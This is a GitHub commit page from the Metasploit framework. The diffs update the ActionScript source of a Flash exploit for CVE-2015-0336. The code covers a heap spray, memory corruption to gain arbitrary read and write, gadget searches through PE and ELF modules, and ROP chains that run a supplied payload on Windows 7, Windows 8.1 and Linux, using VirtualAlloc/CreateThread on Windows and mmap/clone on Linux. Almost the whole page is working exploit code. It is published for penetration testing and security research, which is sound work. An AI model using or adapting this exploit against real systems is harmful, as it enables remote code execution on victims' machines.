Skip to content

Commit 487cc15

Browse files
committed
Land rapid7#5476, multi-platform update for adobe_flash_net_connection_confusion
2 parents 4ee0a14 + 098f31c commit 487cc15

File tree

8 files changed

+213
-49
lines changed

8 files changed

+213
-49
lines changed

data/exploits/CVE-2015-0336/msf.swf

369 Bytes
Binary file not shown.
-1 Bytes
Binary file not shown.

external/source/exploits/CVE-2015-0336/Exploit.as

Lines changed: 16 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -28,33 +28,38 @@ package
2828
private var interval_id:uint
2929
private var trigger_swf:String
3030
private var b64:Base64Decoder = new Base64Decoder()
31-
private var payload:String
31+
private var payload:ByteArray
3232
private var platform:String
33+
private var os:String
34+
private var original_length:uint = 0
3335

3436
public function Exploit()
3537
{
3638
var i:uint = 0
3739
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
40+
os = LoaderInfo(this.root.loaderInfo).parameters.os
3841
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
3942
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
4043
var pattern:RegExp = / /g;
4144
b64_payload = b64_payload.replace(pattern, "+")
4245
b64.decode(b64_payload)
43-
payload = b64.toByteArray().toString()
46+
payload = b64.toByteArray()
4447

4548
if (platform == 'win') {
49+
original_length = 0x1e
4650
for (i = 0; i < 89698; i = i + 1) {
4751
spray[i] = new Vector.<uint>(1014)
4852
spray[i][0] = 0xdeadbeef
4953
spray[i][1] = 0xdeedbeef
5054
spray[i][2] = i
51-
spray[i][29] = 0x1a1e1429
55+
spray[i][29] = 0x14951429
5256
}
5357

5458
for(i = 0; i < 89698; i = i + 1) {
5559
spray[i].length = 0x1e
5660
}
57-
} else if (platform == 'linux') {
61+
} else if (platform == 'linux') {
62+
original_length = 1022
5863
for (i = 0; i < 89698; i = i + 1) {
5964
spray[i] = new Vector.<uint>(1022)
6065
spray[i][0] = 0xdeadbeef
@@ -97,9 +102,11 @@ package
97102
for(var i:uint = 0; i < spray.length; i = i + 1) {
98103
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
99104
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
100-
spray[i][0x3ffffffe] = 0xffffffff
101-
spray[i][0x3fffffff] = spray[i][1023]
102-
uv = spray[i]
105+
spray[i][1022] = 0xffffffff
106+
spray[i + 1][0x3ffffbff] = spray[i][1023]
107+
spray[i + 1][0x3ffffbfe] = original_length
108+
uv = spray[i + 1]
109+
break
103110
}
104111
}
105112

@@ -113,8 +120,9 @@ package
113120
return
114121
}
115122

116-
exploiter = new Exploiter(this, platform, payload, uv)
123+
exploiter = new Exploiter(this, platform, os, payload, uv)
117124
}
125+
118126
}
119127
}
120128

external/source/exploits/CVE-2015-0336/ExploitByteArray.as

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@ package
3131

3232
public function lets_ready():void
3333
{
34-
Logger.log("[*] ExploitByteArray - lets_ready()")
3534
ba.endian = "littleEndian"
3635
if (platform == "linux") {
3736
ba.length = 0xffffffff
@@ -40,7 +39,6 @@ package
4039

4140
public function is_ready():Boolean
4241
{
43-
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
4442
if (ba.length == 0xffffffff)
4543
return true
4644

@@ -72,10 +70,15 @@ package
7270

7371
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
7472
{
73+
var i:uint
74+
7575
if (addr) ba.position = addr
7676
if (value is String) {
77-
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
77+
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
7878
if (zero) ba.writeByte(0)
79+
} else if (value is ByteArray) {
80+
var value_length:uint = value.length
81+
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
7982
} else ba.writeUnsignedInt(value)
8083
}
8184
}

external/source/exploits/CVE-2015-0336/Exploiter.as

Lines changed: 166 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,9 @@ package
99
private var exploit:Exploit
1010
private var ev:ExploitVector
1111
private var eba:ExploitByteArray
12-
private var payload:String
12+
private var payload:ByteArray
1313
private var platform:String
14+
private var op_system:String
1415
private var pos:uint
1516
private var byte_array_object:uint
1617
private var main:uint
@@ -25,11 +26,12 @@ package
2526
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
2627
private var spray:Vector.<Object> = new Vector.<Object>(89698)
2728

28-
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
29+
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
2930
{
3031
exploit = exp
3132
payload = p
3233
platform = pl
34+
op_system = os
3335

3436
ev = new ExploitVector(uv)
3537
if (!ev.is_ready()) return
@@ -133,12 +135,19 @@ package
133135
private function do_rop():void
134136
{
135137
Logger.log("[*] Exploiter - do_rop()")
136-
if (platform == "linux")
138+
if (platform == "linux") {
137139
do_rop_linux()
138-
else if (platform == "win")
139-
do_rop_windows()
140-
else
140+
} else if (platform == "win") {
141+
if (op_system == "Windows 8.1") {
142+
do_rop_windows8()
143+
} else if (op_system == "Windows 7") {
144+
do_rop_windows()
145+
} else {
146+
return
147+
}
148+
} else {
141149
return
150+
}
142151
}
143152

144153
private function do_rop_windows():void
@@ -147,11 +156,15 @@ package
147156
var pe:PE = new PE(eba)
148157
var flash:uint = pe.base(vtable)
149158
var winmm:uint = pe.module("winmm.dll", flash)
150-
var kernel32:uint = pe.module("kernel32.dll", winmm)
159+
var kernel32:uint = pe.module("kernel32.dll", winmm)
160+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
151161
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
152-
var winexec:uint = pe.procedure("WinExec", kernel32)
162+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
163+
var createthread:uint = pe.procedure("CreateThread", kernel32)
164+
var memcpy:uint = pe.procedure("memcpy", ntdll)
153165
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
154166
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
167+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
155168

156169
// Continuation of execution
157170
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@@ -169,16 +182,101 @@ package
169182
eba.write(0, virtualprotect)
170183

171184
// VirtualProtect
172-
eba.write(0, winexec)
185+
eba.write(0, virtualalloc)
173186
eba.write(0, buffer + 0x10)
174187
eba.write(0, 0x1000)
175188
eba.write(0, 0x40)
176189
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
177190

178-
// WinExec
191+
// VirtualAlloc
192+
eba.write(0, memcpy)
193+
eba.write(0, 0x7f6e0000)
194+
eba.write(0, 0x4000)
195+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
196+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
197+
198+
// memcpy
199+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
200+
eba.write(0, 0x7f6e0000)
201+
eba.write(0, payload_address + 8)
202+
eba.write(0, payload.length)
203+
204+
// CreateThread
205+
eba.write(0, createthread)
206+
eba.write(0, buffer + 0x10) // return to fix things
207+
eba.write(0, 0)
208+
eba.write(0, 0)
209+
eba.write(0, 0x7f6e0000)
210+
eba.write(0, 0)
211+
eba.write(0, 0)
212+
eba.write(0, 0)
213+
214+
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
215+
exploit.toString() // call method in the fake vtable
216+
}
217+
218+
private function do_rop_windows8():void
219+
{
220+
Logger.log("[*] Exploiter - do_rop_windows8()")
221+
var pe:PE = new PE(eba)
222+
var flash:uint = pe.base(vtable)
223+
var winmm:uint = pe.module("winmm.dll", flash)
224+
var advapi32:uint = pe.module("advapi32.dll", flash)
225+
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
226+
var kernel32:uint = pe.module("kernel32.dll", winmm)
227+
var ntdll:uint = pe.module("ntdll.dll", kernel32)
228+
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
229+
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
230+
var createthread:uint = pe.procedure("CreateThread", kernelbase)
231+
var memcpy:uint = pe.procedure("memcpy", ntdll)
232+
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
233+
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
234+
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
235+
236+
// Continuation of execution
237+
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
238+
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
239+
eba.write(0, "\x89\x03", false) // mov [ebx], eax
240+
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
241+
242+
// Put the payload (command) in memory
243+
eba.write(payload_address + 8, payload, true); // payload
244+
245+
// Put the fake vtabe / stack on memory
246+
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
247+
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
248+
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
249+
eba.write(0, virtualprotect)
250+
251+
// VirtualProtect
252+
eba.write(0, virtualalloc)
179253
eba.write(0, buffer + 0x10)
254+
eba.write(0, 0x1000)
255+
eba.write(0, 0x40)
256+
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
257+
258+
// VirtualAlloc
259+
eba.write(0, memcpy)
260+
eba.write(0, 0x7ffd0000)
261+
eba.write(0, 0x4000)
262+
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
263+
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
264+
265+
// memcpy
266+
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
267+
eba.write(0, 0x7ffd0000)
180268
eba.write(0, payload_address + 8)
181-
eba.write(0)
269+
eba.write(0, payload.length)
270+
271+
// CreateThread
272+
eba.write(0, createthread)
273+
eba.write(0, buffer + 0x10) // return to fix things
274+
eba.write(0, 0)
275+
eba.write(0, 0)
276+
eba.write(0, 0x7ffd0000)
277+
eba.write(0, 0)
278+
eba.write(0, 0)
279+
eba.write(0, 0)
182280

183281
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
184282
exploit.toString() // call method in the fake vtable
@@ -192,6 +290,8 @@ package
192290
var libc:Elf = new Elf(eba, feof)
193291
var popen:uint = libc.symbol("popen")
194292
var mprotect:uint = libc.symbol("mprotect")
293+
var mmap:uint = libc.symbol("mmap")
294+
var clone:uint = libc.symbol("clone")
195295
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
196296
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
197297
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@@ -204,9 +304,21 @@ package
204304
// 2) Recover original stack
205305
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
206306

307+
// my_memcpy
308+
eba.write(buffer + 0x60, "\x56", false) // push esi
309+
eba.write(0, "\x57", false) // push edi
310+
eba.write(0, "\x51", false) // push ecx
311+
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
312+
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
313+
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
314+
eba.write(0, "\xF3\xA4", false) // rep movsb
315+
eba.write(0, "\x59", false) // pop ecx
316+
eba.write(0, "\x5f", false) // pop edi
317+
eba.write(0, "\x5e", false) // pop esi
318+
eba.write(0, "\xc3", false) // ret
319+
207320
// Put the popen parameters in memory
208-
eba.write(payload_address + 8, 'r', true) // type
209-
eba.write(payload_address + 0xc, payload, true) // command
321+
eba.write(payload_address + 0x8, payload, true) // false
210322

211323
// Put the fake stack/vtable on memory
212324
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@@ -221,13 +333,49 @@ package
221333
eba.write(0, buffer) // addr
222334
eba.write(0, 0x1000) // size
223335
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
224-
// Return to popen()
225-
eba.write(stack_address + 0x18068, popen)
336+
337+
// Return to mmap()
338+
eba.write(stack_address + 0x18068, mmap)
339+
// Return to stackpivot (jmp over mmap parameters)
340+
eba.write(0, addesp2cret)
341+
// mmap() code segment arguments
342+
eba.write(0, 0x70000000) // 0x70000000
343+
eba.write(0, 0x4000) // size
344+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
345+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
346+
eba.write(0, 0xffffffff) // filedes
347+
eba.write(0, 0) // offset
348+
349+
// Return to mmap()
350+
eba.write(stack_address + 0x1809c, mmap)
351+
// Return to stackpivot (jmp over mmap parameters)
352+
eba.write(0, addesp2cret)
353+
// mmap() stack segment arguments
354+
eba.write(0, 0x70008000) // NULL
355+
eba.write(0, 0x10000) // size
356+
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
357+
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
358+
eba.write(0, -1) // filedes
359+
eba.write(0, 0) // offset
360+
361+
// Return to memcpy()
362+
eba.write(stack_address + 0x180d0, buffer + 0x60)
363+
// Return to stackpivot (jmp over memcpy parameters)
364+
eba.write(0, addesp2cret)
365+
// memcpy() parameters
366+
eba.write(0, 0x70000000)
367+
eba.write(0, payload_address + 0x8)
368+
eba.write(0, payload.length)
369+
370+
// Return to clone()
371+
eba.write(stack_address + 0x18104, clone)
226372
// Return to CoE (fix stack and object vtable)
227373
eba.write(0, buffer + 0x10)
228-
// popen() argument
229-
eba.write(0, payload_address + 0xc)
230-
eba.write(0, payload_address + 8)
374+
// clone() arguments
375+
eba.write(0, 0x70000000) // code
376+
eba.write(0, 0x7000bff0) // stack
377+
eba.write(0, 0x00000100) // flags CLONE_VM
378+
eba.write(0, 0) // args
231379

232380
//call DWORD PTR [eax+0x24]
233381
//EAX: 0x41414141 ('AAAA')

external/source/exploits/CVE-2015-0336/PE.as

Lines changed: 12 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ package
1111

1212
public function base(addr:uint):uint
1313
{
14-
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
1514
addr &= 0xffff0000
1615
while (true) {
1716
if (eba.read(addr) == 0x00905a4d) return addr
@@ -54,10 +53,20 @@ package
5453
public function gadget(gadget:String, hint:uint, addr:uint):uint
5554
{
5655
var find:uint = 0
56+
var contents:uint = 0
5757
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
5858
var value:uint = parseInt(gadget, 16)
59-
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
60-
return addr + i
59+
60+
for (var i:uint = 0; i < limit - 4; i++) {
61+
contents = eba.read(addr + i)
62+
if (hint == 0xffffffff && value == contents) {
63+
return addr + i
64+
}
65+
if (hint != 0xffffffff && value == (contents & hint)) {
66+
return addr + i
67+
}
68+
}
69+
throw new Error()
6170
}
6271
}
6372
}

0 commit comments

Comments
 (0)